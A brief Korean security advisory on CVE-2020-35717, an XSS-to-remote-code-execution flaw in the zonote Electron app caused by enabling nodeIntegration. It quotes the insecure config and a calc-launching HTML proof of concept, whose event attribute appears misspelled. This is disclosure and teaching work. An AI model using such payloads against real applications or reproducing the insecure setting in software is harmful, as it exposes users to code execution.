[하루한줄] CVE-2020-35717: RCE through XSS

URL

zonote RCE through XSS

Target

zonote <= 0.4.0

Explain

문서 작성 Electron App인 zonote에서 RCE 취약점이 공개되었습니다. zonote 문서에 마크다운과 html을 삽입해 XSS(Cross-Site-Script) 공격을 할 수 있는데 악용 범위를 RCE까지 확장할 수 있습니다.

It is paramount that you do not enable Node.js integration in any renderer (BrowserWindow, BrowserView, or <webview>) that loads remote content.

Electron의 공식문서에 따르면 원격 콘텐츠에 접근하는 모든 renderer는 Node.js intergration이 비활성화되어있어야 합니다. XSS 취약점이 존재해도 그 악용 범위를 renderer 내부로 제한하기 위해 Electron 5.0.0부터 권장해온 기본 설정입니다.

  • 다음은 zonote의 main.js코드 일부입니다.
const browserWindowsOptions = {
    ...
    webPreference: {
        nodeIntergration : true,
        enableRemoteModule : true
    }
}

Node.js intergration이 활성화되어있으므로 XSS를 통한 RCE 취약점이 존재합니다.

  • PoC
<a onemouseover="
try{
	const {shell} = require('electron');
	shell.openExternal('file:C:/Windows/System32/calc.exe')
}catch(e){
	console.error(e)
}">Hover Me</a>